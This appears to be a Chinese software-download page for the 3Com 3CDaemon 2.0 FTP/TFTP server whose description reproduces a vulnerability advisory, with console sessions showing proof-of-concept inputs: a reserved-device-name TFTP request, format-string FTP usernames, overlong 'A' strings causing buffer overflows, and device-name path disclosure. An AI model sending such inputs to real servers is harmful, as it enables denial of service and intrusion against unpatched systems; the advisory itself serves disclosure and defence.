专业下载站,下载软件就到188下载站

188软件园

您的位置: 188软件园>网络软件>FTP 工具  > 

3COM 3CDaemon 2.0

  • 软件大小:0.24MB
  • 更新日期:16-04-01
  • 软件语言:中文
  • 软件类别:FTP 工具
  • 软件授权:免费软件
  • 适用平台:WinXP, WinAll
软件介绍 精品推荐 人气软件 相关文章 网友评论 下载地址

为您推荐: 8UFTP绿色版客户端 8UFTP绿色版客户端 xFTP Tftpd32 8UFTP绿色版客户端

不用我说了吧,3com的这款东西还是很有名很不错滴~~~3CDaemon是一款免费的集成了TFTP、FTP和SYSLOG功能的应用程序。
作用:FTP,TFTP,SYSLOG服务器,TFTP客户端

3CDaemon存在多个安全问题,远程攻击者可以利用这些漏洞进行拒绝服务、格式串及缓冲区溢出等攻击。

1、TFTP保留设备名拒绝服务攻击:

提交类似如下的请求,可导致TFTP服务程序挂起:

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".

2、FTP用户名存在格式串问题:

提交包含格式串字符作为用户名数据,可导致守护程序崩溃:

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

3、FTP超长用户名缓冲区溢出

由于对用户名缺少正确边界缓冲区检查,提交超长用户名可导致缓冲区溢出:

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4、多个FTP命令超长参数缓冲区溢出:

cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令对参数缺少充分边界检查,提交超长字符串作为命令参数可导致缓冲区溢出:

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

5、多个FTP命令存在格式串问题

提交格式字符串作为参数,可导致程序崩溃。

6、多个FTP命令包设备名信息泄露问题

请求保留设备名可导致返回程序安装路径信息:

ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!


受影响系统:
3Com 3CDaemon 2.0 revision 10

人气软件

相关文章

网友评论

您的评论需要经过审核才能显示 网名

0条评论>网友评论

今日更新推荐

  • 下载

    FlashFXP5.4.0.3970 中文免费版 7.69MB / 19-05-14

  • 下载

    SmartFTP 官方版9.0.2598.0 官方版 54.3 MB / 18-07-16

  • 下载

    Staff-FTP3.0.4 2.66MB / 16-12-13

  • 下载

    查看FTP列表的绿色软件1.1 0.08MB / 17-11-08